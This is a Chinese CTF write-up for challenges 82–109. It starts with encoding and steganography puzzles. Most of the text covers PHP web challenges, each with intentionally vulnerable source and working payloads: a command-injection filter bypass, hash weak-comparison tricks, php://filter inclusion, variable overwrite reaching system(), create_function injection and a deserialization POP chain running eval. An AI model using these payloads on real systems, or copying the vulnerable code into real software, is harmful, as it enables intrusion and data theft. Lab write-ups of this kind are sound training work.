2021年第四季度12月CTF-巅峰赛 解题思路

Track-子羽   ·   发表于 2021-12-29 14:28:30   ·   CTF&WP专版

CTF-82

页面的符号是
Jother编码

https://blog.csdn.net/greyfreedom/article/details/45070667
直接把编码放到浏览器控制台运行即可获取flag

CTF-83

flag被隐写在了图片里
按F12可以看到提示:
http://www.atoolbox.net/Tool.php?Id=699
可以用这个站点进行图片的解密看到flag

CTF-84

把helloworld文件下载下来
重命名给它加上后缀
.7z 或者 .zip 或者.rar
然后解压得到了几个文件
用记事本打开zansdjopw文件
翻到最下面找到flag

CTF-85

根据提示
10进制->字符 以及 注意颜色
将每个颜色代码里的两位数字转换成字符
就可以获取到flag了

  1. #include <stdio.h>
  2. int main()
  3. {
  4. int a[] = {79,53,53,44,78,78,78,94,85,78};
  5. for(int i=0;i<10;i++){
  6. printf("%c",a[i]);
  7. }
  8. return 0;
  9. }

CTF-86

flag在音频的频谱图里
需要下载一个软件
Audacity工具(在附件里)
去查看音乐文件的频谱图

参考:https://www.pianshen.com/article/2535603446/

CTF-87

把txt文本里的字符按照页面提示进行转换

  1. 左正蹬 -> .
  2. 右鞭腿 -> !
  3. 左刺拳 -> ?

获取到了被Ook加密的flag
解密后得到flag
https://www.splitbrain.org/services/ook

CTF-88

按F12查看源码可以看到被加密后的flag
给出了一道加法数学题算出来后得到 20
20是flag加密时的密钥

用zfua{kqcykqirhwyfxexeqq}去解密得到flag
密钥是20

CTF-89

按F12修改源码中的maxlength的值
maxlength="3"
然后再输入100即可获取到flag

CTF-90

F12查看源码看到了被加密的flag

  1. function ifx(x)
  2. {
  3. if(x >= 1000000000000000)
  4. {
  5. alert("看到了就解个密吧! 加密的flag:evawvscdvcpbyxdgrvw 维吉尼亚zkaq");
  6. }
  7. }

这里是维吉尼亚加密
密钥是:zkaq

CTF-91

签到题难度解密题

将中文进行中文电码编码
中文电码:http://code.mcdvisa.com/
即可获取flag

CTF-92

源码

  1. <meta charset="utf-8" />
  2. <?php
  3. if (isset($_GET['url'])){
  4. $ip=$_GET['url'];
  5. if(preg_match("/('|>|]|&|\\$|\\|rev|more|tailf|head|nl|tail|tac|cat|rm|cp|mv|\*|\{)/i", $ip)){
  6. die("<strong><center>非法字符</center></strong>");
  7. }
  8. if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
  9. die("<strong><center>非法字符</center></strong>");
  10. }
  11. $a = shell_exec("ping -c 4 ".$ip);
  12. echo($a);
  13. }else{
  14. echo "<script>alert('No.......')</script>";
  15. }
  16. ?>

用;结束ping -c 4 127.0.0.1

cat过滤用ca\t

flag * 过滤用通配符????

payload:

127.0.0.1;ca\t ????.???

CTF-93

审计源码

  1. <?php
  2. highlight_file(__FILE__);
  3. ini_set("display_error", false);
  4. error_reporting(0);
  5. $str = isset($_GET['A_A'])?$_GET['A_A']:'A_A';
  6. if (strpos($_SERVER['QUERY_STRING'], "A_A") !==false) {
  7. echo 'A_A,have fun';
  8. }
  9. elseif ($str<9999999999) {
  10. echo 'A_A,too small';
  11. }
  12. elseif ((string)$str>0) {
  13. echo 'A_A,too big';
  14. }
  15. else{
  16. echo file_get_contents('flag.php');
  17. }

首先第一个if判断,可以用urlencode绕过
然后我们需要知道php中的这样一个特性

  1. php > var_dump([]>9999999999);
  2. bool(true)
  3. php > var_dump((string)[]>0);
  4. bool(false)
  5. 1
  6. 2
  7. 3
  8. 4
  9. php中,数组[]大于任何一个数

这样就可以成功绕过验证了

  1. payload:
  2. ?A+A[]=admin

CTF-94

将汉字
皎若云间月
http://gbk.hsjsj.cn/
进行先进行gbk然后再16进制编码获取flag

CTF-95

右击页面查看到编码后的flag
或者修改body的颜色也可以查看到被编码的flag

http://www.hiencode.com/base91.html
进行base91解码

CTF-96

源码审计

  1. <?php
  2. show_source(__FILE__);
  3. $username = "admin";
  4. $password = "password";
  5. include("flag.php");
  6. $data = isset($_POST['data'])? $_POST['data']: "" ;
  7. $data_unserialize = unserialize($data);
  8. if ($data_unserialize['username']==$username&&$data_unserialize['password']==$password){
  9. echo $flag;
  10. }else{
  11. echo "username or password error!";
  12. }

直接反序列化不行 猜测在包含的时候改了 直接弱类型

脚本:

  1. <?php
  2. $a = array('username'=>0,'password'=>0);
  3. echo serialize($a);
  4. //运行结果
  5. a:2:{s:8:"username";i:0;s:8:"password";i:0;}

payload:

  1. POST: data=a:2:{s:8:"username";i:0;s:8:"password";i:0;}

CTF-97

通过访问/www.rar获取源码

源码

  1. <?php
  2. $c = rand(65, 122);
  3. if(preg_match_all('/[1-9]/', @$_GET['x']) == 0){
  4. if(chr($c) == @$_GET['x']){
  5. echo 'flag:{xxxxxxxxxxxxxxxxxxxxxxx}';
  6. }else{
  7. echo '?x == '."$c";
  8. }
  9. }else{
  10. echo 'No 0-9';
  11. }
  12. ?>

随机生成65-122的数字,但是传参不允许传入数字

用burp加上26个字母的大小写进行爆破就可以获得flag了


CTF-98

页面提示需要玩到2048才能获取flag

直接F12修改源码中
val的值改成2048

val="2048"
然后再按一下AWSD任意一键即可获取flag

CTF-99

右击页面查看源码可以看到flag.png
flag在flag.png中
flag做了双重加密
与佛论禅->base64 加密

按顺序解开即可获得flag
与佛论禅:https://www.keyfc.net/bbs/tools/tudoucode.aspx
base64:http://www.ec95.com/

CTF-100

源码

  1. <?php
  2. include 'flag.php';
  3. $yds = "枫叶";
  4. $is = "河流";
  5. $handsome = 'yds';
  6. foreach($_POST as $x => $y){
  7. $$x = $y;
  8. }
  9. foreach($_GET as $x => $y){
  10. $$x = $$y;
  11. }
  12. foreach($_GET as $x => $y){
  13. if($_GET['flag'] === $x && $x !== 'flag'){ //GET方式传flag只能传一个flag=flag
  14. exit($handsome);
  15. }
  16. }
  17. if(!isset($_GET['flag']) && !isset($_POST['flag'])){ //GET和POST其中之一必须传flag
  18. exit($yds);
  19. }
  20. if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){ //GET和POST传flag,必须不能是flag=flag
  21. exit($is);
  22. }
  23. echo "the flag is: ".$flag;

需要进行目录扫描找到源码
NoHack.rar
解压得到源码
进行代码审计
php可变变量,仔细分析一下,发现可以构造下面的payload

payload:

  1. ?handsome=flag&flag=handsome
  2. //这样的话,经过第二个foreach循环,$handsome就会等于$flag,$flag等于$handsome会不变,经过第三个循环第一次遍历$_GET['flag']="handsome"=$x="handsome"!='flag',退出输出$handsome即$flag的值
  3. ?yds=flag
  4. //这样的话,在经过第二个foreach循环时,$yds就会等于$flag,在经过第三个foreach循环时,没传flag直接跳过,然后if满足条件,退出输出$yds即$flag

CTF-101

index.php源码

  1. <meta charset="utf-8" />
  2. <?php
  3. @$a = $_GET['a'];
  4. @$b = $_GET['b'];
  5. if($a != $b && md5($a) == md5($b))
  6. {
  7. echo "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";
  8. echo 'flag双重加密了';
  9. }
  10. else{
  11. echo '扫描一下?';
  12. }
  13. ?>

访问flag.php进行传参
两种方式

payload:

  1. ?a[]=1&b[]= //数组绕过
  2. ?a=QNKCDZO&b=s878926199a //md5弱比较

得到被加密的flag->base64解密->md5解密

CTF-102

源码

  1. <?php
  2. highlight_file(__FILE__);
  3. error_reporting(0);
  4. $file = "index.php";
  5. $shana = $_GET['shana'];
  6. $passwd = $_GET['passwd'];
  7. $arg = '';
  8. $code = '';
  9. echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";
  10. if($_SERVER) {
  11. if (
  12. preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
  13. )
  14. die('You seem to want to do something bad?');
  15. }
  16. if (!preg_match('/http|https/i', $_GET['file'])) {
  17. if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
  18. $file = $_GET["file"];
  19. echo "Neeeeee! Good Job!<br>";
  20. }
  21. } else die('fxck you! What do you want to do ?!');
  22. if($_REQUEST) {
  23. foreach($_REQUEST as $value) {
  24. if(preg_match('/[a-zA-Z]/i', $value))
  25. die('fxck you! I hate English!');
  26. }
  27. }
  28. if (file_get_contents($file) !== 'debu_debu_aqua')
  29. die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");
  30. if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
  31. extract($_GET["flag"]);
  32. echo "Very good! you know my password. But what is flag?<br>";
  33. } else{
  34. die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
  35. }
  36. if(preg_match('/^[a-z0-9]*$/isD', $code) ||
  37. preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
  38. die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
  39. } else {
  40. include "flag.php";
  41. $code('', $arg);
  42. } ?>

这道题考的知识点比较多,分开记一下

  1. $_SERVER[‘QUERY_STRING’]匹配绕过
  2. $_SERVER['QUERY_STRING']返回url中查询的字符串,与此类似的还有:
  3. $_SERVER['REQUEST_URI']返回访问此页面所需的URI
  4. $_SERVER['SCRIPT_NAME']返回包含当前脚本的路径
  5. $_SERVER['PHP_SELF']当前正在执行脚本的文件名
  6. 举个例子:(浏览器自动将fileurl编码解码了)

可以看到,$_SERVER[‘QUERY_STRING’]和$_SERVER[‘REQUEST_URI’]在传输时不会url解码,而$_GET,$_POST会url解码,因此我们可以url编码绕过下面代码:

  1. if($_SERVER) {
  2. if ( preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
  3. )
  4. die('You seem to want to do something bad?');
  5. }

字符串匹配绕过

  1. if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
  2. echo "Neeeeee! Good Job!<br>";
  3. }

由于没有/s修饰符用来在匹配时匹配换行符,我们可以使用%0a换行污染绕过

$_REQUEST字母匹配绕过

  1. if($_REQUEST) {
  2. foreach($_REQUEST as $value) {
  3. if(preg_match('/[a-zA-Z]/i', $value))
  4. die('fxck you! I hate English!');
  5. }
  6. }

之前的参数都是GET型的,而POST的优先级比GET的要高,因此我们可以POST同样名称满足条件的值,比如数字,

数组类型的数据不需要POST,preg_match()只能匹配字符串,数组得以绕过

file_get_contents比对绕过

  1. if (file_get_contents($file) !== 'debu_debu_aqua')
  2. die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");

刚开始想的是php://input,后来发现要POST数据,因此便不能用了,这里可以用data://,
示例:

  1. data://text/plain,<?php phpinfo()?>
  2. data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

sha1比较绕过

  1. if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
  2. extract($_GET["flag"]);
  3. echo "Very good! you know my password. But what is flag?<br>";
  4. } else{
  5. die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
  6. }

直接数组绕过,或者sha1碰撞

extract变量覆盖
因为extract()函数使用数组键名作为变量名,使用数组键值作为变量值,针对数组中的每个元素,将在当前符号表中创建对应的一个变量,所以这里我们可以传数组,即flag[code]和flag[arg]的形式

create_function代码注入

  1. if(preg_match('/^[a-z0-9]*$/isD', $code) ||
  2. preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
  3. die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
  4. } else {
  5. include "flag.php";
  6. $code('', $arg);
  7. }

最后一个过滤我们可以用create_function()绕过:

  1. <?php
  2. $myFunc = create_function('$a, $b', 'return($a+$b);}eval($_POST[1]);//');

执行时相当于:

  1. function myFunc($a, $b){
  2. return $a+$b;
  3. }
  4. eval($_POST[1]);//}

payload

先看下所有变量:

  1. ?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67%5b%63%6f%64%65%5d=create_function&%66%6c%61%67%5b%61%72%67%5d=}var_dump(get_defined_vars());//
  2. POST: debu=1&passwd=1&file=1

CTF-103

源码

  1. <img src='ctf.bmp'/>
  2. <?php
  3. include 'flag.php';
  4. if(isset($_GET['gg'])&&isset($_GET['id'])) {
  5. $id=$_GET['id'];
  6. $gg=$_GET['gg'];
  7. if (md5($id) === md5($gg) && $id !== $gg) {
  8. echo 'You got the first step';
  9. if(isset($_POST['passwd'])) {
  10. $passwd=$_POST['passwd'];
  11. if (!is_numeric($passwd))
  12. {
  13. if($passwd==1234567)
  14. {
  15. echo 'Good Job!';
  16. highlight_file('flag.php');
  17. die('By Retr_0');
  18. }
  19. else
  20. {
  21. echo "can you think twice??";
  22. }
  23. }
  24. else{
  25. echo 'You can not get it !';
  26. }
  27. }
  28. else{
  29. die('only one way to get the flag');
  30. }
  31. }
  32. else {
  33. echo "You are not a real hacker!";
  34. }
  35. }
  36. else{
  37. die('Please input first');
  38. }
  39. ?>

第一层: md5($id) === md5($gg) && $id !== $gg

MD5强相等,数组绕过即可 /index.php?id[]=1&gg[]=2

第二层: !is_numeric($passwd) && $passwd==1234567

is_numeric()绕过:十六进制绕过、%00截断绕过、弱类型比较绕过均可 POST: passwd=1234567a

payload

  1. ?id[]=1&gg[]=2
  2. POST: passwd=1234567a

CTF-104

  1. include $_GET['file'] 复制

目测为文件包含,尝试读index.php的源码,

index.php?file=php://filter/read=convert.base64-encode/resource=index.php

发现被加密还原后如下:

  1. <?php
  2. $a = @$_GET['file'];
  3. if (!$a) {
  4. $a = 'index.html';
  5. }
  6. echo 'include $_GET[\'file\']';
  7. if (strpos('flag',$a)!==false) {
  8. die('nonono');
  9. }
  10. include $a;
  11. ?>
  12. <!--base64: ZGlyLnBocA== -->

发现提示,其实右击查看源代码也可以看到..

<!--base64: ZGlyLnBocA== -->

base64解码后得到dir.php

读dir.php

index.php?file=php://filter/read=convert.base64-encode/resource=dir.php

  1. <?php
  2. $a = @$_GET['dir'];
  3. if(!$a){
  4. $a = '/tmp';
  5. }
  6. var_dump(scandir($a));

得知该文件可以列目录,尝试列目录

dir.php?dir=/

列目录看到存放站点文件的文件夹www

再列目录

dir.php?dir=/www

这样得到flag123.php文件

使用file读取,得到flag

index.php/?file=php://filter/read=convert.base64-encode/resource=flag123.php

CTF-105

考点

  1. 注意给hint ?source=1
  1. 变量覆盖
  2. php弱类型 爆破sha1,md5弱类型
  3. php复杂变量getshell

代码

  1. <?php
  2. $adminPassword = 'd8b8caf4df69a81f2815pbcb74cd73ab';
  3. if (!function_exists('fuxkSQL')) {
  4. function fuxkSQL($iText)
  5. {
  6. $oText = $iText;
  7. $oText = str_replace('\\\\', '\\', $oText);
  8. $oText = str_replace('\"', '"', $oText);
  9. $oText = str_replace("\'", "'", $oText);
  10. $oText = str_replace("'", "''", $oText);
  11. return $oText;
  12. }
  13. }
  14. if (!function_exists('getVars')) {
  15. function getVars()
  16. {
  17. $totals = array_merge($_GET, $_POST);
  18. if (count($_GET)) {
  19. foreach ($_GET as $key => $value) {
  20. global ${$key};
  21. if (is_array($value)) {
  22. $temp_array = array();
  23. foreach ($value as $key2 => $value2) {
  24. if (function_exists('mysql_real_escape_string')) {
  25. $temp_array[$key2] = fuxkSQL(trim($value2));
  26. } else {
  27. $temp_array[$key2] = str_replace('"', '\"', str_replace("'", "\'", (trim($value2))));
  28. }
  29. }
  30. ${$key} = $_GET[$key] = $temp_array;
  31. } else {
  32. if (function_exists('mysql_real_escape_string')) {
  33. ${$key} = fuxkSQL(trim($value));
  34. } else {
  35. ${$key} = $_GET[$key] = str_replace('"', '\"', str_replace("'", "\'", (trim($value))));
  36. }
  37. }
  38. }
  39. }
  40. }
  41. }
  42. getVars();
  43. if (isset($source)) {
  44. highlight_file(__FILE__);
  45. }
  46. //只有admin才能设置环境变量
  47. if (md5($password) === $adminPassword && sha1($verif) == $verif) {
  48. echo 'you can set config variables!!' . '</br>';
  49. foreach (array_keys($GLOBALS) as $key) {
  50. if (preg_match('/var\d{1,2}/', $key) && strlen($GLOBALS[$key]) < 12) {
  51. @eval("\$$key" . '="' . $GLOBALS[$key] . '";');
  52. }
  53. }
  54. } else {
  55. foreach (array_keys($GLOBALS) as $key) {
  56. if (preg_match('/var\d{1,2}/', $key)) {
  57. echo ($GLOBALS[$key]) . '</br>';
  58. }
  59. }
  60. }

奇奇怪怪的waf

因为环境是php7,所以没有mysql_real_escape_string函数,直接分析下面一半,相当于对单引号和双引号进行转义,但是反斜杠没有做任何操作。

变量覆盖

  1. $adminPassword = 'd8b8caf4df69a81f2815pbcb74cd73ab';
  2. foreach ($_GET as $key => $value) {
  3. global ${$key};
  4. }
  • 这个功能可以将$_GET中的键值直接转为变量类似于 xxx?password=1 那么就能覆盖$admin变量。
  • 我们发现了这个adminPassword有很大的问题,这压根就不是md5。

要求

  1. md5($password) === $adminPassword 复制
  • 那么我们将$password覆盖为任意值,然后将$adminPassword覆盖为其md5值。即可过第一关。

php弱类型

php弱类型比较,考虑一种特殊情况,sha1($a)=0exxx,相当于科学计数法0,那么,爆破找出任意0exxx的变量的sha1还是0exxx。

  1. <?php
  2. for ($i5 = 0; $i5 <= 9999999999; $i5++) {
  3. $res = '0e' . $i5;
  4. //0e1290633704
  5. if ($res == hash('sha1', $res)) {
  6. print_r($res);
  7. }
  8. }

php复杂变量

  1. foreach (array_keys($GLOBALS) as $key) {
  2. if (preg_match('/var\d{1,2}/', $key) && strlen($GLOBALS[$key]) < 12) {
  3. @eval("\$$key" . '="' . $GLOBALS[$key] . '";');
  4. }
  5. }
  • 这段是将设置var开头,后面带1到2个数字变量的值,类似于var1=xxx;这样的
  • 由于变量覆盖的环节限制了单双引号的输入,所以这里的解法为利用php复杂

最终payload

  1. ?source=1&adminPassword=c4ca4238a0b923820dcc509a6f75849b&password=1&verif=0e1290633704&var1=${$a($b)}&a=system&b=cat flag.php

其他Payload:

  1. 变量覆盖 sha1弱比较 payload:
  2. `?adminPassword=202cb962ac59075b964b07152d234b70&password=123&verif=0e00000000000000000000081614617300000000`
  3. 只是对值进行了过滤 可以用键来读取flag
  4. ?adminPassword=202cb962ac59075b964b07152d234b70&password=123&verif=0e00000000000000000000081614617300000000&GLOBALS[var1;system('cat flag.php');$a]=1

CTF-106

访问flag.php

并未报404,flag.php存在,需要读取里面的内容获取flag

可以看到页面显示的是源码的二进制编码

2进制转换为10进制编码

10进制编码后再进行ASCII解码,得到源码

源码

  1. <?php
  2. @$str = $_GET['f'];
  3. @$r = $_GET['r'];
  4. $rand = rand(1,50);
  5. var_dump($rand);
  6. $isMatched = preg_match_all('/\$_GET|\$_POST|\$_REQUEST|file_put_contents|file_get_contents|type|dir/i', $str);
  7. if($isMatched != 0){
  8. die('bad hacker!');
  9. }
  10. if($r == $rand){
  11. echo 'GO!<br>';
  12. system($str);
  13. }
  14. ?>

可以看到源码中有system()命令执行,但是正则过滤了部分命令

这里可以使用copy命令

将flag.php 复制到一个txt文件中,直接读取txt文件即可获得flag

  1. copy flag.php 1.txt

要执行system需要满足

  1. if($r == $rand)

我们传入r的参数需要和随机数$rand相同

  1. $rand = rand(1,50);
  2. 生成1-50的随机数

这里使用burp抓包进行爆破随机数

构造payload:

  1. index.php?f=copy flag.php 1.txt&r=1

抓包后进行payload设置

跑包结束,进行排序

访问/1.txt即可获得flag

CTF-107

源码

  1. <?php
  2. include 'flag.php';
  3. highlight_file( __FILE__);
  4. function filter($string){
  5. $filter = '/flag/i';
  6. return preg_replace($filter,'flagcc',$string);
  7. }
  8. $username=$_GET['name'];
  9. $pass="V13tN4m_number_one";
  10. $pass="Fl4g_in_V13tN4m";
  11. $ser='a:2:{i:0;s:'.strlen($username).":\"$username\";i:1;s:".strlen($pass).":\"$pass\";}";
  12. $authen = unserialize(filter($ser));
  13. if($authen[1]==="V13tN4m_number_one "){
  14. echo $flag;
  15. }
  16. if (!isset($_GET['debug'])) {
  17. echo("PLSSS DONT HACK ME!!!!!!").PHP_EOL;
  18. } else {
  19. highlight_file( __FILE__);
  20. }
  21. ?>
  22. <!-- debug -->

变长的反序列化逃逸

payload

  1. index.php/?debug&name=flagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflag";i:1;s:19:"V13tN4m_number_one ";}

CTF-108

源码

  1. <!doctype html>
  2. <html>
  3. <head>
  4. <meta charset="utf-8">
  5. <meta http-equiv="X-UA-Compatible" content="IE=edge">
  6. <meta name="viewport" content="width=device-width, initial-scale=1">
  7. <link rel="stylesheet" href="css.css">
  8. <title>空白页面</title>
  9. </head>
  10. <div class="overlay">
  11. <div class="hero">
  12. <h1>这是一个<span>空白页面</span></h1>
  13. <h3>别找了小hacker, 这里什么都没有</h3>
  14. <h3>p 我是传参名-------------10086:看看我</h3>
  15. </div>
  16. </div>
  17. </html>
  18. <?php
  19. error_reporting(0);
  20. $p = $_GET["p"];
  21. if (isset($p)) {
  22. echo '恭喜你获得了flag!,去访问flag.txt吧';
  23. $i = 1;
  24. while($i != 100){
  25. file_put_contents('flag/flag'.$i.'.txt','访问下一个吧!flag'.($i+1).'.txt');
  26. $i = $i+1;
  27. }
  28. file_put_contents('flag/flag10086.txt','flag{FORFIVEASJDLAJSLQWEOIAS}');
  29. } else {
  30. echo "NONONO";
  31. }
  32. ?>

对p任意传参,生成了102个flag.txt
正确的flag在flag10086.txt里面

访问flag/flag10086.txt

CTF-109

源码

  1. <meta charset="utf-8" />
  2. <h3>Jack Love Rose<h3/>
  3. <h3>此题有一定难度,有关反序列化<h3/>
  4. <?php
  5. highlight_file(__file__);
  6. class Jack
  7. {
  8. private $action;
  9. function __set($a, $b)
  10. {
  11. $b->$a();
  12. }
  13. }
  14. class Love {
  15. public $var;
  16. function __call($a,$b)
  17. {
  18. $rose = $this->var;
  19. call_user_func($rose);
  20. }
  21. private function action(){
  22. echo "jack love rose";
  23. }
  24. }
  25. class Titanic{
  26. public $people;
  27. public $ship;
  28. function __destruct(){
  29. $this->people->action=$this->ship;
  30. }
  31. }
  32. class Rose{
  33. public $var1;
  34. public $var2;
  35. function __invoke(){
  36. if( ($this->var1 != $this->var2) && (md5($this->var1) === md5($this->var2)) && (sha1($this->var1)=== sha1($this->var2)) ){
  37. eval($this->var1);
  38. }
  39. }
  40. }
  41. if(isset($_GET['love'])){
  42. $sail=$_GET['love'];
  43. unserialize($sail);
  44. }
  45. ?>

题目所涉及到的魔术方法:

  1. PHP
  2. __call() // 在对象上下文中调用不可访问的方法时触发
  3. __set() // 用于将数据写入不可访问的属性
  4. __invoke() //当尝试将对象调用为函数时触发

首先看到 Rose 类中有一个 eval 函数可以执行任意代码,但是需要绕过:

  1. PHP
  2. if( ($this->var1 != $this->var2) && (md5($this->var1) === md5($this->var2)) && (sha1($this->var1)=== sha1($this->var2)) )

这个乍看一眼在 CTF 的基础题目中非常常见,一般情况下只需要使用数组即可绕过。但是这里是在类里面,我们当然不能这么做。

这里的考点是 md5() 和 sha1() 可以对一个类进行hash,并且会触发这个类的 __toString 方法;且当eval()函数传入一个类对象时,也会触发这个类里的 __toString 方法。

所以我们可以使用含有 __toString 方法的PHP内置类来绕过,用的两个比较多的内置类就是 ExceptionError ,他们之中有一个 __toString 方法,当类被当做字符串处理时,就会调用这个函数。

这里以Error 类为例,我们来看看当触发他的 __toString 方法时会发生什么:

  1. PHP
  2. <?php
  3. $a = new Error("payload",1);
  4. echo $a;

输出如下:

  1. PHP
  2. Error: payload in /usercode/file.php:2
  3. Stack trace:
  4. #0 {main}

发现会以字符串的形式输出当前报错,包含当前的错误信息(payload)以及当前报错的行号(2),而传入 Error("payload",1) 中的错误代码“1”则没有输出出来。

在来看看下一个例子:

  1. PHP
  2. <?php
  3. $a = new Error("payload",1);$b = new Error("payload",2);
  4. echo $a;
  5. echo "\r\n\r\n";
  6. echo $b;

输出如下:

  1. PHP
  2. Error: payload in /usercode/file.php:2
  3. Stack trace:
  4. #0 {main}
  5. Error: payload in /usercode/file.php:2
  6. Stack trace:
  7. #0 {main}

可见,$a$b 这两个对象本身是不同的,但是 __toString 方法返回的结果是相同的。注意,这里之所以需要在同一行是因为 __toString 返回的数据包含当前行号。

Exception 类与 Error 的使用和结果完全一样,只不过 Exception 类适用于PHP 5和7,而 Error 只适用于 PHP 7。

那么我们的思路就来了,我们可以将题目代码中的 $syc$lover 分别声明为类似上面的内置类的对象,让这两个对象本身不同(传入的错误代码即可),但是 __toString 方法输出的结果相同即可。所以绕过这一步分的 Payload 大致如下:

  1. PHP
  2. $payload = "?><?=system('cat /flag')?>";
  3. $a=new Error($payload,1);$b=new Error($payload,2);
  4. $eval = new Rose();
  5. $eval -> var1 = $a;
  6. $eval -> var2 = $b;

接下来我们解决的便是如何调用 Rose 类中的 __invoke 方法来执行 eval 了。在 Love 类的 __call 方法中有一个 call_user_func 函数,我们可以通过这个函数来触发 Rose 类中的 __invoke 方法。

然后便是去找能够触发 Love 类中 __call 方法的地方,看到了 Jack 类的 __set 方法中的 $b->$a(); 我们可以将这里的 $b 赋为 Love 类的一个对象,这样便可以触发 Love 类中的 __call 了。Titanic 类中的 $this->people->action=$this->ship; 可以触发 Jack 类的 __set 方法。

POC

所以最终的 POC 如下:

  1. PHP
  2. <?php
  3. class Jack
  4. {
  5. private $action;
  6. function __set($a, $b)
  7. {
  8. $b->$a();
  9. }
  10. }
  11. class Love {
  12. public $var;
  13. function __call($a,$b)
  14. {
  15. $rose = $this->var;
  16. call_user_func($rose);
  17. }
  18. private function action(){
  19. echo "jack love rose";
  20. }
  21. }
  22. class Titanic{
  23. public $people;
  24. public $ship;
  25. function __destruct(){
  26. $this->people->action=$this->ship;
  27. }
  28. }
  29. class Rose{
  30. public $var1;
  31. public $var2;
  32. function __invoke(){
  33. var_dump(sha1($this->var1));
  34. var_dump(sha1($this->var2));
  35. if( ($this->var1 != $this->var2) && (md5($this->var1) === md5($this->var2)) && (sha1($this->var1)=== sha1($this->var2)) ){
  36. eval($this->var1);
  37. }else{
  38. echo 'nonono';
  39. }
  40. }
  41. }
  42. $poc = new Titanic();
  43. $poc -> people = new Jack();
  44. $poc -> ship = new Love();
  45. $payload = "?><?=system('cat flag.php')?>";
  46. $a=new Error($payload,1);$b=new Error($payload,2);
  47. $eval = new Rose();
  48. $eval -> var1 = $a;
  49. $eval -> var2 = $b;
  50. $poc -> ship -> var = $eval;
  51. echo urlencode(serialize($poc))."\n";
  52. // 输出: O%3A7%3A%22Titanic%22%3A2%3A%7Bs%3A6%3A%22people%22%3BO%3A4%3A%22Jack%22%3A1%3A%7Bs%3A12%3A%22%00Jack%00action%22%3BN%3B%7Ds%3A4%3A%22ship%22%3BO%3A4%3A%22Love%22%3A1%3A%7Bs%3A3%3A%22var%22%3BO%3A4%3A%22Rose%22%3A2%3A%7Bs%3A4%3A%22var1%22%3BO%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A29%3A%22%3F%3E%3C%3F%3Dsystem%28%27cat+flag.php%27%29%3F%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A1%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A29%3A%22C%3A%5CphpStudy%5CWWW%5Cwww%5Cindex.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A53%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7Ds%3A4%3A%22var2%22%3BO%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A29%3A%22%3F%3E%3C%3F%3Dsystem%28%27cat+flag.php%27%29%3F%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A2%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A29%3A%22C%3A%5CphpStudy%5CWWW%5Cwww%5Cindex.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A53%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D%7D%7D%7D

payload:

